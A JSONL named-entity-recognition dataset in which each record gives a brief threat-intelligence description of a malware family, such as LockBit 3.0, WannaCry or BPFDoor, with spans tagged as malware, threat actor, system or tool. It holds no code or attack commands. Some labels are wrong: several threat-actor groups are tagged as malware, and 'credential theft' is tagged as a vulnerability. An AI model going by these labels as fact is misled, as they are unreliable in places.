+{"text": "Peppy is a Python-based remote access Trojan, active since at least 2012, with similarities to Crimson.", "spans": {"MALWARE: Peppy": [[0, 5]], "SYSTEM: Python": [[11, 17]], "MALWARE: Crimson": [[95, 102]]}, "info": {"source": "apt_reports", "name": "Peppy"}}
+{"text": "KEYPLUG is a modular backdoor written in C++, with Windows and Linux variants, that has been used by APT41 since at least June 2021.", "spans": {"MALWARE: KEYPLUG": [[0, 7]], "THREAT_ACTOR: APT41": [[101, 106]], "SYSTEM: Windows": [[51, 58]], "SYSTEM: Linux": [[63, 68]]}, "info": {"source": "apt_reports", "name": "KEYPLUG"}}
+{"text": "Cuba is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019.", "spans": {"MALWARE: Cuba": [[0, 4]], "SYSTEM: Windows": [[10, 17]]}, "info": {"source": "apt_reports", "name": "Cuba"}}
+{"text": "DEATHRANSOM is ransomware written in C that has been used since at least 2020, and has potential overlap with FIVEHANDS and HELLOKITTY.", "spans": {"MALWARE: DEATHRANSOM": [[0, 11]], "MALWARE: FIVEHANDS": [[110, 119]], "MALWARE: HELLOKITTY": [[124, 134]]}, "info": {"source": "apt_reports", "name": "DEATHRANSOM"}}
+{"text": "Clambling is a modular backdoor written in C++ that has been used by Threat Group-3390 since at least 2017.", "spans": {"MALWARE: Clambling": [[0, 9]], "MALWARE: Threat Group-3390": [[69, 86]]}, "info": {"source": "apt_reports", "name": "Clambling"}}
+{"text": "Akira ransomware, written in C++, is most prominently (but not exclusively) associated with the ransomware-as-a-service entity Akira. Akira ransomware has been used in attacks across North America, Europe, and Australia, with a focus on critical infrastructure sectors including manufacturing, education, and IT services. Akira ransomware employs hybrid encryption and threading to increase the speed and efficiency of encryption and runtime arguments for tailored attacks. Notable variants include Rust-based Megazord for targeting Windows and Akira _v2 for targeting VMware ESXi servers.", "spans": {"MALWARE: Akira": [[0, 5], [127, 132], [134, 139], [322, 327], [545, 550]], "SYSTEM: Rust": [[499, 503]], "SYSTEM: ESXi": [[576, 580]], "SYSTEM: Windows": [[533, 540]], "SYSTEM: VMware": [[569, 575]], "MALWARE: Megazord": [[510, 518]], "MALWARE: Akira _v2": [[545, 554]]}, "info": {"source": "apt_reports", "name": "Akira"}}
+{"text": "DarkGate first emerged in 2018 and has evolved into an initial access and data gathering tool associated with various criminal cyber operations. Written in Delphi and named \"DarkGate\" by its author, DarkGate is associated with credential theft, cryptomining, cryptotheft, and pre-ransomware actions. DarkGate use increased significantly starting in 2022 and is under active development by its author, who provides it as a Malware-as-a-Service offering.", "spans": {"MALWARE: DarkGate": [[0, 8], [174, 182], [199, 207], [300, 308]], "VULNERABILITY: credential theft": [[227, 243]]}, "info": {"source": "apt_reports", "name": "DarkGate"}}
+{"text": "Mongall is a backdoor that has been used since at least 2013, including by Aoqin Dragon.", "spans": {"MALWARE: Mongall": [[0, 7]], "THREAT_ACTOR: Aoqin Dragon": [[75, 87]]}, "info": {"source": "apt_reports", "name": "Mongall"}}
+{"text": "NanHaiShu is a remote access tool and JScript backdoor used by Leviathan. NanHaiShu has been used to target government and private-sector organizations that have relations to the South China Sea dispute.", "spans": {"MALWARE: NanHaiShu": [[0, 9], [74, 83]], "THREAT_ACTOR: Leviathan": [[63, 72]]}, "info": {"source": "apt_reports", "name": "NanHaiShu"}}
+{"text": "LockBit 3.0 is an evolution of the LockBit Ransomware-as-a-Service (RaaS) offering with similarities to BlackMatter and BlackCat ransomware. LockBit 3.0 has been in use since at least June 2022 and features enhanced defense evasion and exfiltration tactics, robust encryption methods for Windows and VMware ESXi systems, and a more refined RaaS structure over its predecessors such as LockBit 2.0.", "spans": {"MALWARE: LockBit 3.0": [[0, 11], [141, 152]], "SYSTEM: ESXi": [[307, 311]], "SYSTEM: Windows": [[288, 295]], "SYSTEM: VMware": [[300, 306]], "MALWARE: BlackMatter": [[104, 115]], "MALWARE: BlackCat": [[120, 128]], "MALWARE: LockBit 2.0": [[385, 396]]}, "info": {"source": "apt_reports", "name": "LockBit 3.0"}}
+{"text": "SVCReady is a loader that has been used since at least April 2022 in malicious spam campaigns. Security researchers have noted overlaps between TA551 activity and SVCReady distribution, including similarities in file names, lure images, and identical grammatical errors.", "spans": {"MALWARE: SVCReady": [[0, 8], [163, 171]], "MALWARE: TA551": [[144, 149]]}, "info": {"source": "apt_reports", "name": "SVCReady"}}
+{"text": "ThiefQuest is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. ThiefQuest was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links. Even though ThiefQuest presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.", "spans": {"MALWARE: ThiefQuest": [[0, 10], [107, 117], [264, 274]], "SYSTEM: macOS": [[92, 97], [196, 201]]}, "info": {"source": "apt_reports", "name": "ThiefQuest"}}
+{"text": "FoggyWeb is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by APT29 since at least early April 2021.", "spans": {"MALWARE: FoggyWeb": [[0, 8]], "THREAT_ACTOR: APT29": [[197, 202]], "SYSTEM: Active Directory": [[125, 141]]}, "info": {"source": "apt_reports", "name": "FoggyWeb"}}
+{"text": "NGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.", "spans": {"MALWARE: NGLite": [[0, 6], [154, 160]]}, "info": {"source": "apt_reports", "name": "NGLite"}}
+{"text": "Carbanak is a full-featured, remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines.", "spans": {"MALWARE: Carbanak": [[0, 8], [79, 87]]}, "info": {"source": "apt_reports", "name": "Carbanak"}}
+{"text": "XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee.", "spans": {"MALWARE: XTunnel": [[0, 7]], "THREAT_ACTOR: APT28": [[148, 153]], "SYSTEM: VPN": [[10, 13]]}, "info": {"source": "apt_reports", "name": "XTunnel"}}
+{"text": "Hydraq is a data-theft trojan first used by Elderwood in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including APT17.", "spans": {"MALWARE: Hydraq": [[0, 6]], "THREAT_ACTOR: APT17": [[227, 232]], "ORGANIZATION: Google": [[66, 72]], "MALWARE: Aurora": [[102, 108]], "MALWARE: Elderwood": [[44, 53]]}, "info": {"source": "apt_reports", "name": "Hydraq"}}
+{"text": "SHARPSTATS is a .NET backdoor used by MuddyWater since at least 2019.", "spans": {"MALWARE: SHARPSTATS": [[0, 10]], "THREAT_ACTOR: MuddyWater": [[38, 48]], "SYSTEM: .NET": [[16, 20]]}, "info": {"source": "apt_reports", "name": "SHARPSTATS"}}
+{"text": "Ferocious is a first stage implant composed of VBS and PowerShell scripts that has been used by WIRTE since at least 2021.", "spans": {"MALWARE: Ferocious": [[0, 9]], "THREAT_ACTOR: WIRTE": [[96, 101]], "TOOL: PowerShell": [[55, 65]]}, "info": {"source": "apt_reports", "name": "Ferocious"}}
+{"text": "HOMEFRY is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other Leviathan backdoors.", "spans": {"MALWARE: HOMEFRY": [[0, 7]], "THREAT_ACTOR: Leviathan": [[108, 117]], "SYSTEM: Windows": [[20, 27]]}, "info": {"source": "apt_reports", "name": "HOMEFRY"}}
+{"text": "CreepyDrive is a custom implant has been used by POLONIUM since at least early 2022 for C2 with and exfiltration to actor-controlled OneDrive accounts.\n\nPOLONIUM has used a similar implant called CreepyBox that relies on actor-controlled DropBox accounts.", "spans": {"MALWARE: CreepyDrive": [[0, 11]], "THREAT_ACTOR: POLONIUM": [[49, 57], [153, 161]]}, "info": {"source": "apt_reports", "name": "CreepyDrive"}}
+{"text": "Caterpillar WebShell is a self-developed Web Shell tool created by the group Volatile Cedar.", "spans": {"MALWARE: Caterpillar WebShell": [[0, 20]], "THREAT_ACTOR: Volatile Cedar": [[77, 91]]}, "info": {"source": "apt_reports", "name": "Caterpillar WebShell"}}
+{"text": "Netwalker is fileless ransomware written in PowerShell and executed directly in memory.", "spans": {"MALWARE: Netwalker": [[0, 9]], "TOOL: PowerShell": [[44, 54]]}, "info": {"source": "apt_reports", "name": "Netwalker"}}
+{"text": "Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU.", "spans": {"MALWARE: Elise": [[0, 5]], "MALWARE: Lotus": [[73, 78]], "MALWARE: Lotus Blossom": [[73, 86]]}, "info": {"source": "apt_reports", "name": "Elise"}}
+{"text": "USBferry is an information stealing malware and has been used by Tropic Trooper in targeted attacks against Taiwanese and Philippine air-gapped military environments. USBferry shares an overlapping codebase with YAHOYAH, though it has several features which makes it a distinct piece of malware.", "spans": {"MALWARE: USBferry": [[0, 8], [167, 175]], "MALWARE: Tropic Trooper": [[65, 79]], "MALWARE: YAHOYAH": [[212, 219]]}, "info": {"source": "apt_reports", "name": "USBferry"}}
+{"text": "WannaCry is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.", "spans": {"MALWARE: WannaCry": [[0, 8]], "VULNERABILITY: EternalBlue": [[217, 228]]}, "info": {"source": "apt_reports", "name": "WannaCry"}}
+{"text": "Gazer is a backdoor used by Turla since at least 2016.", "spans": {"MALWARE: Gazer": [[0, 5]], "THREAT_ACTOR: Turla": [[28, 33]]}, "info": {"source": "apt_reports", "name": "Gazer"}}
+{"text": "TSCookie is a remote access tool (RAT) that has been used by BlackTech in campaigns against Japanese targets.. TSCookie has been referred to as PLEAD though more recent reporting indicates a separation between the two.", "spans": {"MALWARE: TSCookie": [[0, 8], [111, 119]], "THREAT_ACTOR: BlackTech": [[61, 70]], "MALWARE: PLEAD": [[144, 149]]}, "info": {"source": "apt_reports", "name": "TSCookie"}}
+{"text": "Latrodectus is a Windows malware downloader that has been used since at least 2023 to download and execute additional payloads and modules. Latrodectus has most often been distributed through email campaigns, primarily by TA577 and TA578, and has infrastructure overlaps with historic IcedID operations.", "spans": {"MALWARE: Latrodectus": [[0, 11], [140, 151]], "THREAT_ACTOR: TA577": [[222, 227]], "THREAT_ACTOR: TA578": [[232, 237]], "SYSTEM: Windows": [[17, 24]], "MALWARE: IcedID": [[285, 291]]}, "info": {"source": "apt_reports", "name": "Latrodectus"}}
+{"text": "Saint Bot is a .NET downloader that has been used by Saint Bear since at least March 2021.", "spans": {"MALWARE: Saint Bot": [[0, 9]], "SYSTEM: .NET": [[15, 19]], "MALWARE: Saint Bear": [[53, 63]]}, "info": {"source": "apt_reports", "name": "Saint Bot"}}
+{"text": "Pay2Key is a ransomware written in C++ that has been used by Fox Kitten since at least July 2020 including campaigns against Israeli companies. Pay2Key has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.", "spans": {"MALWARE: Pay2Key": [[0, 7], [144, 151]], "THREAT_ACTOR: Fox Kitten": [[61, 71]]}, "info": {"source": "apt_reports", "name": "Pay2Key"}}
+{"text": "Chaes is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. Chaes was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.", "spans": {"MALWARE: Chaes": [[0, 5], [170, 175]]}, "info": {"source": "apt_reports", "name": "Chaes"}}
+{"text": "Briba is a trojan used by Elderwood to open a backdoor and download files on to compromised hosts.", "spans": {"MALWARE: Briba": [[0, 5]], "MALWARE: Elderwood": [[26, 35]]}, "info": {"source": "apt_reports", "name": "Briba"}}
+{"text": "CharmPower is a PowerShell-based, modular backdoor that has been used by Magic Hound since at least 2022.", "spans": {"MALWARE: CharmPower": [[0, 10]], "TOOL: PowerShell": [[16, 26]], "MALWARE: Magic Hound": [[73, 84]]}, "info": {"source": "apt_reports", "name": "CharmPower"}}
+{"text": "TYPEFRAME is a remote access tool that has been used by Lazarus Group.", "spans": {"MALWARE: TYPEFRAME": [[0, 9]], "THREAT_ACTOR: Lazarus Group": [[56, 69]]}, "info": {"source": "apt_reports", "name": "TYPEFRAME"}}
+{"text": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda.", "spans": {"MALWARE: 3PARA RAT": [[0, 9]], "MALWARE: Putter Panda": [[80, 92]]}, "info": {"source": "apt_reports", "name": "3PARA RAT"}}
+{"text": "Bundlore is adware written for macOS that has been in use since at least 2015. Though categorized as adware, Bundlore has many features associated with more traditional backdoors.", "spans": {"MALWARE: Bundlore": [[0, 8], [109, 117]], "SYSTEM: macOS": [[31, 36]]}, "info": {"source": "apt_reports", "name": "Bundlore"}}
+{"text": "P8RAT is a fileless malware used by menuPass to download and execute payloads since at least 2020.", "spans": {"MALWARE: P8RAT": [[0, 5]], "MALWARE: menuPass": [[36, 44]]}, "info": {"source": "apt_reports", "name": "P8RAT"}}
+{"text": "VIRTUALPIE is a lightweight backdoor written in Python that spawns an IPv6 listener on a VMware ESXi server and features command line execution, file transfer,  and reverse shell capabilities. VIRTUALPIE has been in use since at least 2022 including by UNC3886 who installed it via malicious vSphere Installation Bundles (VIBs).", "spans": {"MALWARE: VIRTUALPIE": [[0, 10], [193, 203]], "THREAT_ACTOR: UNC3886": [[253, 260]], "SYSTEM: ESXi": [[96, 100]], "SYSTEM: vSphere": [[292, 299]], "SYSTEM: Python": [[48, 54]], "SYSTEM: VMware": [[89, 95]]}, "info": {"source": "apt_reports", "name": "VIRTUALPIE"}}
+{"text": "EVILNUM is fully capable backdoor that was first identified in 2018. EVILNUM is used by the APT group Evilnum which has the same name.", "spans": {"MALWARE: EVILNUM": [[0, 7], [69, 76]], "THREAT_ACTOR: Evilnum": [[102, 109]]}, "info": {"source": "apt_reports", "name": "EVILNUM"}}
+{"text": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management.", "spans": {"MALWARE: KOMPROGO": [[0, 8]], "THREAT_ACTOR: APT32": [[41, 46]]}, "info": {"source": "apt_reports", "name": "KOMPROGO"}}
+{"text": "SMOKEDHAM is a Powershell-based .NET backdoor that was first reported in May 2021; it has been used by at least one ransomware-as-a-service affiliate.", "spans": {"MALWARE: SMOKEDHAM": [[0, 9]], "SYSTEM: .NET": [[32, 36]]}, "info": {"source": "apt_reports", "name": "SMOKEDHAM"}}
+{"text": "Mori is a backdoor that has been used by MuddyWater since at least January 2022.", "spans": {"MALWARE: Mori": [[0, 4]], "THREAT_ACTOR: MuddyWater": [[41, 51]]}, "info": {"source": "apt_reports", "name": "Mori"}}
+{"text": "QUADAGENT is a PowerShell backdoor used by OilRig.", "spans": {"MALWARE: QUADAGENT": [[0, 9]], "THREAT_ACTOR: OilRig": [[43, 49]], "TOOL: PowerShell": [[15, 25]]}, "info": {"source": "apt_reports", "name": "QUADAGENT"}}
+{"text": "Sagerunex is a malware family exclusively associated with Lotus Blossom operations, with variants existing since at least 2016. Variations of Sagerunex leverage non-traditional command and control mechanisms such as various web services.", "spans": {"MALWARE: Sagerunex": [[0, 9], [142, 151]], "MALWARE: Lotus": [[58, 63]], "MALWARE: Lotus Blossom": [[58, 71]]}, "info": {"source": "apt_reports", "name": "Sagerunex"}}
+{"text": "TAINTEDSCRIBE is a fully-featured beaconing implant integrated with command modules used by Lazarus Group. It was first reported in May 2020.", "spans": {"MALWARE: TAINTEDSCRIBE": [[0, 13]], "THREAT_ACTOR: Lazarus Group": [[92, 105]]}, "info": {"source": "apt_reports", "name": "TAINTEDSCRIBE"}}
+{"text": "Sys10 is a backdoor that was used throughout 2013 by Naikon.", "spans": {"MALWARE: Sys10": [[0, 5]], "THREAT_ACTOR: Naikon": [[53, 59]]}, "info": {"source": "apt_reports", "name": "Sys10"}}
+{"text": "pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility.", "spans": {"MALWARE: pngdowner": [[0, 9]], "MALWARE: Putter Panda": [[29, 41]]}, "info": {"source": "apt_reports", "name": "pngdowner"}}
+{"text": "Royal is ransomware that first appeared in early 2022;  a version that also targets ESXi servers was later observed in February 2023. Royal employs partial encryption and multiple threads to evade detection and speed encryption. Royal has been used in attacks against multiple industries worldwide--including critical infrastructure. Security researchers have identified similarities in the encryption routines and TTPs used in Royal and Conti attacks and noted a possible connection between their operators.", "spans": {"MALWARE: Royal": [[0, 5], [134, 139], [229, 234], [428, 433]], "SYSTEM: ESXi": [[84, 88]], "MALWARE: Conti": [[438, 443]]}, "info": {"source": "apt_reports", "name": "Royal"}}
+{"text": "BendyBear is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, BendyBear shares a variety of features with Waterbear, malware previously attributed to the Chinese cyber espionage group BlackTech.", "spans": {"MALWARE: BendyBear": [[0, 9], [135, 144]], "THREAT_ACTOR: BlackTech": [[257, 266]], "MALWARE: Waterbear": [[179, 188]]}, "info": {"source": "apt_reports", "name": "BendyBear"}}
+{"text": "Uroburos is a sophisticated cyber espionage tool written in C that has been used by units within Russia's Federal Security Service (FSB) associated with the Turla toolset to collect intelligence on sensitive targets worldwide. Uroburos has several variants and has undergone nearly constant upgrade since its initial development in 2003 to keep it viable after public disclosures. Uroburos is typically deployed to external-facing nodes on a targeted network and has the ability to leverage additional tools and TTPs to further exploit an internal network. Uroburos has interoperable implants for Windows, Linux, and macOS, employs a high level of stealth in communications and architecture, and can easily incorporate new or replacement components.", "spans": {"MALWARE: Uroburos": [[0, 8], [227, 235], [381, 389], [557, 565]], "THREAT_ACTOR: Turla": [[157, 162]], "SYSTEM: macOS": [[617, 622]], "SYSTEM: Windows": [[597, 604]], "SYSTEM: Linux": [[606, 611]]}, "info": {"source": "apt_reports", "name": "Uroburos"}}
+{"text": "Metamorfo is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.", "spans": {"MALWARE: Metamorfo": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Metamorfo"}}
+{"text": "Spica is a custom backdoor written in Rust that has been used by Star Blizzard since at least 2023.", "spans": {"MALWARE: Spica": [[0, 5]], "SYSTEM: Rust": [[38, 42]], "MALWARE: Star Blizzard": [[65, 78]]}, "info": {"source": "apt_reports", "name": "Spica"}}
+{"text": "Embargo is a ransomware variant written in Rust that has been active since at least May 2024.  Embargo ransomware operations are associated with “double extortion” ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid.  Embargo ransomware has been known to be delivered through a loader known as MDeployer which also leverages a malware component known as MS4Killer that facilitates termination of processes operating on the victim hosts. Embargo is also reportedly a Ransomware as a Service (RaaS).", "spans": {"MALWARE: Embargo": [[0, 7], [95, 102], [313, 320], [532, 539]], "SYSTEM: Rust": [[43, 47]]}, "info": {"source": "apt_reports", "name": "Embargo"}}
+{"text": "Trojan.Karagany is a modular remote access tool used for recon and linked to Dragonfly. The source code for Trojan.Karagany originated from Dream Loader malware which was leaked in 2010 and sold on underground forums.", "spans": {"MALWARE: Trojan.Karagany": [[0, 15], [108, 123]], "MALWARE: Dragonfly": [[77, 86]]}, "info": {"source": "apt_reports", "name": "Trojan.Karagany"}}
+{"text": "Bandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as \"Operation Manul\".", "spans": {"MALWARE: Bandook": [[0, 7], [274, 281]], "THREAT_ACTOR: Dark Caracal": [[299, 311]], "MALWARE: Dark": [[299, 303]]}, "info": {"source": "apt_reports", "name": "Bandook"}}
+{"text": "PipeMon is a multi-stage modular backdoor used by Winnti Group.", "spans": {"MALWARE: PipeMon": [[0, 7]], "MALWARE: Winnti Group": [[50, 62]]}, "info": {"source": "apt_reports", "name": "PipeMon"}}
+{"text": "SYNful Knock is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.", "spans": {"MALWARE: SYNful Knock": [[0, 12]]}, "info": {"source": "apt_reports", "name": "SYNful Knock"}}
+{"text": "MagicRAT is a remote access tool developed in C++ and exclusively used by the Lazarus Group threat actor in operations. MagicRAT allows for arbitrary command execution on victim machines and provides basic remote access functionality.", "spans": {"MALWARE: MagicRAT": [[0, 8], [120, 128]], "THREAT_ACTOR: Lazarus Group": [[78, 91]]}, "info": {"source": "apt_reports", "name": "MagicRAT"}}
+{"text": "TINYTYPHON is a backdoor  that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm.", "spans": {"MALWARE: TINYTYPHON": [[0, 10]], "MALWARE: MyDoom": [[152, 158]]}, "info": {"source": "apt_reports", "name": "TINYTYPHON"}}
+{"text": "KONNI is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. KONNI has significant code overlap with the NOKKI malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking KONNI to APT37.", "spans": {"MALWARE: KONNI": [[0, 5], [127, 132], [384, 389]], "THREAT_ACTOR: APT37": [[393, 398]], "MALWARE: NOKKI": [[171, 176]]}, "info": {"source": "apt_reports", "name": "KONNI"}}
+{"text": "T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations.", "spans": {"MALWARE: T9000": [[0, 5]]}, "info": {"source": "apt_reports", "name": "T9000"}}
+{"text": "Winnti for Linux is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including Winnti Group. The Windows variant is tracked separately under Winnti for Windows.", "spans": {"MALWARE: Winnti for Linux": [[0, 16]], "SYSTEM: Windows": [[217, 224], [272, 279]], "SYSTEM: Linux": [[11, 16], [92, 97]], "MALWARE: Winnti Group": [[199, 211]], "MALWARE: Winnti for Windows": [[261, 279]]}, "info": {"source": "apt_reports", "name": "Winnti for Linux"}}
+{"text": "RAPIDPULSE is a web shell that exists as a modification to a legitimate Pulse Secure file that has been used by APT5 since at least 2021.", "spans": {"MALWARE: RAPIDPULSE": [[0, 10]], "THREAT_ACTOR: APT5": [[112, 116]], "SYSTEM: Pulse Secure": [[72, 84]]}, "info": {"source": "apt_reports", "name": "RAPIDPULSE"}}
+{"text": "gh0st RAT is a remote access tool (RAT). The source code is public and it has been used by multiple groups.", "spans": {"MALWARE: gh0st RAT": [[0, 9]]}, "info": {"source": "apt_reports", "name": "gh0st RAT"}}
+{"text": "Shamoon is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. Shamoon has also been seen leveraging RawDisk and Filerase to carry out data wiping tasks. Analysis has linked Shamoon with Kwampirs based on multiple shared artifacts and coding patterns. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.", "spans": {"MALWARE: Shamoon": [[0, 7], [138, 145], [152, 159], [194, 201], [305, 312], [392, 399]], "MALWARE: Filerase": [[244, 252]], "MALWARE: RawDisk": [[232, 239]], "MALWARE: Kwampirs": [[318, 326]]}, "info": {"source": "apt_reports", "name": "Shamoon"}}
+{"text": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password.  Functionality similar to Skeleton Key is included as a module in Mimikatz.", "spans": {"MALWARE: Skeleton Key": [[0, 12], [156, 168]], "TOOL: Mimikatz": [[196, 204]]}, "info": {"source": "apt_reports", "name": "Skeleton Key"}}
+{"text": "DnsSystem is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by HEXANE since at least June 2022.", "spans": {"DOMAIN: DIG.net": [[94, 101]], "MALWARE: DnsSystem": [[0, 9]], "SYSTEM: .NET": [[15, 19]], "MALWARE: HEXANE": [[125, 131]]}, "info": {"source": "apt_reports", "name": "DnsSystem"}}
+{"text": "MoleNet is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.", "spans": {"MALWARE: MoleNet": [[0, 7]]}, "info": {"source": "apt_reports", "name": "MoleNet"}}
+{"text": "CORALDECK is an exfiltration tool used by APT37.", "spans": {"MALWARE: CORALDECK": [[0, 9]], "THREAT_ACTOR: APT37": [[42, 47]]}, "info": {"source": "apt_reports", "name": "CORALDECK"}}
+{"text": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware.", "spans": {"MALWARE: JHUHUGIT": [[0, 8]], "THREAT_ACTOR: APT28": [[28, 33]], "MALWARE: Carberp": [[50, 57]]}, "info": {"source": "apt_reports", "name": "JHUHUGIT"}}
+{"text": "SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.", "spans": {"MALWARE: SPACESHIP": [[0, 9]], "THREAT_ACTOR: APT30": [[34, 39], [113, 118]]}, "info": {"source": "apt_reports", "name": "SPACESHIP"}}
+{"text": "BLUELIGHT is a remote access Trojan used by APT37 that was first observed in early 2021.", "spans": {"MALWARE: BLUELIGHT": [[0, 9]], "THREAT_ACTOR: APT37": [[44, 49]]}, "info": {"source": "apt_reports", "name": "BLUELIGHT"}}
+{"text": "KGH_SPY is a modular suite of tools used by Kimsuky for reconnaissance, information stealing, and backdoor capabilities. KGH_SPY derived its name from PDB paths and internal names found in samples containing \"KGH\".", "spans": {"MALWARE: KGH_SPY": [[0, 7], [121, 128]], "THREAT_ACTOR: Kimsuky": [[44, 51]]}, "info": {"source": "apt_reports", "name": "KGH_SPY"}}
+{"text": "down_new is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: down_new": [[0, 8]], "MALWARE: BRONZE BUTLER": [[47, 60]]}, "info": {"source": "apt_reports", "name": "down_new"}}
+{"text": "Ixeshe is a malware family that has been used since at least 2009 against targets in East Asia.", "spans": {"MALWARE: Ixeshe": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Ixeshe"}}
+{"text": "Micropsia is a remote access tool written in Delphi.", "spans": {"MALWARE: Micropsia": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Micropsia"}}
+{"text": "Kerrdown is a custom downloader that has been used by APT32 since at least 2018 to install spyware from a server on the victim's network.", "spans": {"MALWARE: Kerrdown": [[0, 8]], "THREAT_ACTOR: APT32": [[54, 59]]}, "info": {"source": "apt_reports", "name": "Kerrdown"}}
+{"text": "RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX.", "spans": {"MALWARE: RARSTONE": [[0, 8]], "THREAT_ACTOR: Naikon": [[32, 38]], "MALWARE: PlugX": [[86, 91]]}, "info": {"source": "apt_reports", "name": "RARSTONE"}}
+{"text": "RedLine Stealer is an information-stealer malware variant first identified in 2020.  RedLine Stealer is a Malware as a Service (MaaS) and was reportedly sold as either a one-time purchase or a monthly subscription service.   Information obtained from RedLine Stealer has been known to be sold on the deep and dark web to Initial Access Brokers (IABs), who use or resell the stolen credentials for further intrusions.", "spans": {"MALWARE: RedLine Stealer": [[0, 15], [85, 100], [251, 266]]}, "info": {"source": "apt_reports", "name": "RedLine Stealer"}}
+{"text": "VBShower is a backdoor that has been used by Inception since at least 2019. VBShower has been used as a downloader for second stage payloads, including PowerShower.", "spans": {"MALWARE: VBShower": [[0, 8], [76, 84]], "MALWARE: Inception": [[45, 54]], "MALWARE: PowerShower": [[152, 163]]}, "info": {"source": "apt_reports", "name": "VBShower"}}
+{"text": "BPFDoor is a Linux based passive long-term backdoor used by China-based threat actors. First seen in 2021, BPFDoor is named after its usage of Berkley Packet Filter (BPF) to execute single task instructions. BPFDoor supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP and can start local or reverse shells that bypass firewalls using iptables.", "spans": {"MALWARE: BPFDoor": [[0, 7], [107, 114], [208, 215]], "SYSTEM: Linux": [[13, 18]]}, "info": {"source": "apt_reports", "name": "BPFDoor"}}
+{"text": "Black Basta is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. Black Basta operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. Black Basta affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the Black Basta RaaS operators could include current or former members of the Conti group.", "spans": {"MALWARE: Black Basta": [[0, 11], [202, 213], [462, 473], [702, 713]], "SYSTEM: ESXi": [[188, 192]], "SYSTEM: Windows": [[169, 176]], "MALWARE: Conti": [[776, 781]]}, "info": {"source": "apt_reports", "name": "Black Basta"}}
+{"text": "ZeroCleare is a wiper malware that has been used in conjunction with the RawDisk driver since at least 2019 by suspected Iran-nexus threat actors including activity targeting the energy and industrial sectors in the Middle East and political targets in Albania.", "spans": {"MALWARE: ZeroCleare": [[0, 10]], "MALWARE: RawDisk": [[73, 80]]}, "info": {"source": "apt_reports", "name": "ZeroCleare"}}
+{"text": "Catchamas is a Windows Trojan that steals information from compromised systems.", "spans": {"MALWARE: Catchamas": [[0, 9]], "SYSTEM: Windows": [[15, 22]]}, "info": {"source": "apt_reports", "name": "Catchamas"}}
+{"text": "StoneDrill is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with APT33.", "spans": {"MALWARE: StoneDrill": [[0, 10]], "THREAT_ACTOR: APT33": [[133, 138]]}, "info": {"source": "apt_reports", "name": "StoneDrill"}}
